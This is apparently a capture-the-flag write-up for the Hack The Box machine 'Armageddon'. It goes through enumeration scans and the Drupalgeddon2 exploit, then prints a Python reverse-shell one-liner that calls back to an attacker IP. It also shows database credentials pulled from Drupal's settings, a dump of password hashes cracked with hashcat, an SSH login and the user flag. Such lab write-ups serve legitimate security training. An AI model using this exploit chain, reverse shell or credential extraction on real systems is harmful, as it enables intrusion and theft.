

enumeration

Nmap Results

```
nmap -sCTV -oN /home/kali/machines/active/armageddon/nmap.txt 10.10.10.233
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-04 11:23 EDT
Nmap scan report for 10.10.10.233
Host is up (0.26s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
| 256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_ 256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp    open  http     Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_ http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_ /LICENSE.txt /MAINTAINERS.txt
|_ http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_ http-title: Welcome to Armageddon | Armageddon

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.22 seconds
```

-----output of vuln script scan-----

```
nmap --script vuln
10.10.10.233
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-04 11:24
EDT
Nmap scan report for
10.10.10.233
Host is up (0.28s latency).
Not shown: 998 closed
ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20;
| withinhost=10.10.10.233
| Found the following possible CSRF
vulnerabilities:
|
| Path: http://10.10.10.233:80/
|
| Form id: user-login-form
| Form action: /?-
q=node&destination=node
|
| Path: http://10.10.10.233:80/?q=user/password
|
| Form id: user-pass
| Form action: /?q=user/-
password
|
| Path: http://10.10.10.233:80/?q=user/register
|
| Form id: user-register-form
| Form action: /?q=user/-
register
```

```

|
| Path: http://10.10.10.233:80/?q=node&destination=node
|
| Form id: user-login-form
| Form action: /?-
q=node&destination=node%3Famp%253Bdestination%3Dnode
|
| Path: http://10.10.10.233:80/?q=user
| Form id: user-login
| Form action: /?q=user
|
| Path: http://10.10.10.233:80/?q=node&destination=node%3Famp%253Bdestination%3Dnode
| Form id: user-login-form
| Form action: /?-
q=node&destination=node%3Famp%253Bdestination%3Dnode%253Famp%25253Bdestination%253Dnode
|_ http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
| /robots.txt: Robots file
| /.gitignore: Revision control ignore file
| /UPGRADE.txt: Drupal file
| /INSTALL.txt: Drupal file
| /INSTALL.mysql.txt: Drupal file
| /INSTALL.pgsql.txt: Drupal file
| /CHANGELOG.txt: Drupal v1
| /: Drupal version 7
| /README.txt: Interesting, a readme.
| /icons/: Potentially interesting folder w/ directory listing
| /includes/: Potentially interesting folder w/ directory listing
| /misc/: Potentially interesting folder w/ directory listing
| /modules/: Potentially interesting folder w/ directory listing
| /scripts/: Potentially interesting folder w/ directory listing
| /sites/: Potentially interesting folder w/ directory listing
|_ /themes/: Potentially interesting folder w/ directory listing
| http-sql-injection:
| Possible sqli for queries:
| http://10.10.10.233:80/misc/?C=N%3bO%3dD%27%20OR%20sqlspider
| http://10.10.10.233:80/misc/?C=S%3bO%3dA%27%20OR%20sqlspider
| http://10.10.10.233:80/misc/?C=M%3bO%3dA%27%20OR%20sqlspider
|_ http://10.10.10.233:80/misc/?C=D%3bO%3dA%27%20OR%20sqlspider
|_ http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_ http-trace: TRACE is enabled

```

Nmap done: 1 IP address (1 host up) scanned in 99.95 seconds

complete port scan gave no new ports

open ports are

22/tcp open ssh OpenSSH 7.4

80/tcp open http Apache httpd 2.4.6 ((CentOS))

going to the port 80 we found this



Home

User login

Username *

Password *

- [Create new account](#)
- [Request new password](#)

Log in

Welcome to Armageddon

No front page content has been created yet.

lets register and see inside it

Username *

hack

Spaces are allowed; punctuation is not allowed except for periods, hyphens, apostrophes, and underscores.

E-mail address *

hack@mailpi.com|

A valid e-mail address. All e-mails from the system will be sent to this address. The e-mail address is not made public and will receive certain news or notifications by e-mail.

result from gobuster are

```
=====
/misc (Status: 301) [Size: 233] [--> ht
/index.php (Status: 200) [Size: 7440]
/themes (Status: 301) [Size: 235] [--> ht
/modules (Status: 301) [Size: 236] [--> ht
/scripts (Status: 301) [Size: 236] [--> ht
/sites (Status: 301) [Size: 234] [--> ht
/includes (Status: 301) [Size: 237] [--> ht
/install.php (Status: 200) [Size: 3172]
/profiles (Status: 301) [Size: 237] [--> ht
/update.php (Status: 403) [Size: 4057]
/shell.php (Status: 200) [Size: 0]
/cron.php (Status: 403) [Size: 7388]
/xmlrpc.php (Status: 200) [Size: 42]
Progress: 193696 / 882244 (21.95%)
```

and nikto result

```
+ Server: Apache/2.4.6 (CentOS) PHP/5.4.16
+ Retrieved x-powered-by header: PHP/5.4.16
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'x-generator' found, with contents: Drupal 7 (http://drupal.org)
+ OSVDB-3268: /scripts/: Directory indexing found.
+ OSVDB-3268: /includes/: Directory indexing found.
+ Entry '/includes/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /misc/: Directory indexing found.
+ Entry '/misc/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /modules/: Directory indexing found.
+ Entry '/modules/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /profiles/: Directory indexing found.
+ Entry '/profiles/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/scripts/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /themes/: Directory indexing found.
+ Entry '/themes/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/INSTALL.mysql.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/INSTALL.pgsql.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/INSTALL.sqlite.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/install.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/LICENSE.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/MAINTAINERS.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/UPGRADE.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/xmlrpc.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=filter/tips/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
```

- + Entry '/?q=user/password/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
- + Entry '/?q=user/register/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
- + Entry '/?q=user/login/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
- + "robots.txt" contains 68 entries which should be manually viewed.
- + PHP/5.4.16 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current release for each branch.
- + Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
- + Web Server returns a valid response with junk HTTP methods, this may cause false positives.
- + DEBUG HTTP verb may show server debugging information. See <http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx> for details.
- + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
- + OSVDB-3092: /web.config: ASP config file is accessible.
- + OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
- + OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
- + OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
- + OSVDB-3092: /includes/: This might be interesting...
- + OSVDB-3092: /misc/: This might be interesting...
- + OSVDB-3268: /icons/: Directory indexing found.
- + OSVDB-3092: /UPGRADE.txt: Default file found.
- + OSVDB-3092: /install.php: Drupal install.php file found.
- + OSVDB-3092: /install.php: install.php file found.
- + OSVDB-3092: /LICENSE.txt: License file found may identify site software.
- + OSVDB-3092: /xmlrpc.php: xmlrpc.php was found.
- + OSVDB-3233: /INSTALL.mysql.txt: Drupal installation file found.
- + OSVDB-3233: /INSTALL.pgsql.txt: Drupal installation file found.
- + OSVDB-3233: /icons/README: Apache default file found.
- + OSVDB-3268: /sites/: Directory indexing found.
- + /.gitignore: .gitignore file found. It is possible to grasp the directory structure.
- + 9551 requests: 0 error(s) and 50 item(s) reported on remote host
- + End Time: 2021-06-04 12:26:12 (GMT-4) (2756 seconds)

and after tons of enumeration we found

```
<head profile="http://www.w3.org/1999/xhtml/vocab">
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  <link rel="shortcut icon" href="http://10.10.10.233/misc/favicon.ico" type="image/vnd.microsoft.icon" />
  <meta name="Generator" content="Drupal 7 (http://drupal.org)" />
  <title>Welcome to Armageddon | Armageddon</title>
```

the drupal here is drupal7 lets see if it has any vulnerabilities

in searchsploit we see tons of vulns lets google for more specific thing

Drupal 7.56, 2017-06-21

- Fixed security issues (access bypass). See SA-CORE-2017-003.

we specifically see the version is 7.56 lets now see in searchsploit

Exploit Title
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit)
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC)
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution

we see a lot of result lets use the 3rd one

we tried the python one but had an error so we tried the ruby one

```
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC) | php/webapps/44542.txt
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit) | php/remote/44482.rb
```

we are running 44449.rb

but its is saying an error

```
ruby 44449.rb http://10.10.10.233/
ruby: warning: shebang line ending with \r may cause problems
Traceback (most recent call last):
  2: from 44449.rb:16:in `<main>'
  1: from /usr/lib/ruby/vendor_ruby/rubygems/core_ext/kernel_require.rb:85:in `require'
/usr/lib/ruby/vendor_ruby/rubygems/core_ext/kernel_require.rb:85:in `require': cannot load s
```

it cannot find rubygem file lets install gem

gem install highline

after this when we run

```
(root@kali) - [/home/kali/machines/active/armageddon]
# ruby 44449.rb http://10.10.10.233/
ruby: warning: shebang line ending with \r may cause problems
[*] --==[::#Drupalgeddon2::]==--
-----
[i] Target : http://10.10.10.233/

-----
[i] Fake PHP shell: curl
armageddon.htb>> whoami
apache
armageddon.htb>> 
```

you can see we have shell lets see if it has netcat so we can connect to reverse shell and upgrade it or get ssh details

after much investigation we found that we can get a reverse shell using this python command

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.108",-443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

```
sh-4.2$ whoami
whoami
apache
sh-4.2$ 
```

you can see we have reverse shell lets upgrade the shell

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

stty rows 40 columns 171

we dont have access to open the dir because of less privilage so lets enumerate

we saw a file in folder with sql and we also in /etc/passwd that user so lets see if we can find something

and we found the credential for sql

```
$databases = array (  
  'default' =>  
    array (  
      'default' =>  
        array (  
          'database' => 'drupal',  
          'username' => 'drupaluser',  
          'password' => 'CQHEy@9M*m23gBVj',  
          'host' => 'localhost',  
          'port' => '',  
          'driver' => 'mysql',  
          'prefix' => '',  
        ),  
      ),  
    ),  
);
```

```
databases = array (  
  'default' =>  
    array (  
      'default' =>  
        array (  
          'database' => 'drupal',  
          'username' => 'drupaluser',  
          'password' => 'CQHEy@9M*m23gBVj',  
          'host' => 'localhost',  
          'port' => '',  
          'driver' => 'mysql',  
          'prefix' => '',  
        ),  
      ),  
    ),  
);
```

so now lets connect to the databse

```
mysql -u drupaluser -pCQHEy@9M*m23gBVj -e "use drupal;show tables;"  
Tables_in_drupal
```

```
drupal  
users
```

we can see we have a user table lets see if we can extract anything from the table

uid	name	pass	mail	theme	signature	signature_format	created	access	login	status
0				NULL	0	0	0	0	NULL	0
1	brucetherealadmin	\$S\$DgL2gJv6ZtxBo6CdQZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt	admin@armageddon.eu	filtered_html	1606998756	16070771941607076276	1	Europe/-		
3	boob	\$S\$D9IujIZ4spIDy7fdjS820/Td7x1t04v8t/Z4Gw8YcpX4VLkRa2Ys	boob@cool.htb	filtered_html						
4	admin	\$S\$Du6yHiH.P9u4HeJPwERnBM2Pt7ScoU9uaGB4IvIS.zy/O4bK4R9s	mr.bunston@gmail.com	filtered_html	1623250526	0	0	0	Europe/London	0

we have 2 users brucetherealadmin and admin with their hashed passwords lets crack it and see the passwords

```
brucetherealadmin----- $S$DgL2gJv6ZtxBo6CdQZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
admin----- $S$Du6yHiH.P9u4HeJPwERnBM2Pt7ScoU9uaGB4IvIS.zy/O4bK4R9s
```

now lets try to crack them

very time consuming to know the type of hash

```
(root@kali) - [/home/kali]
# hashcat -h | grep 7900
17900 | Keccak-384
7900 | Drupal7
```

hashcat -a 0 -m 7900 hash.hash /home/kali/Downloads/rockyou.txt

```
Dictionary cache hit:
* Filename..: /home/kali/Downloads/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

$S$DgL2gJv6ZtxBo6CdQZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo
```

so we have the credentials lets try to connect with ssh first

```
Last login: Wed Jun  9 17:00:38 2021 from
[brucetherealadmin@armageddon ~]$ whoami
brucetherealadmin
[brucetherealadmin@armageddon ~]$
```

and we have host admin lets first get the user and then we will run the linpeas

```
[brucetherealadmin@armageddon ~]$ cat user.txt
35ec7af211ef0d334cd12437ed9b0aa3
[brucetherealadmin@armageddon ~]$
```


user flag---35ec7af211ef0d334cd12437ed9b0aa3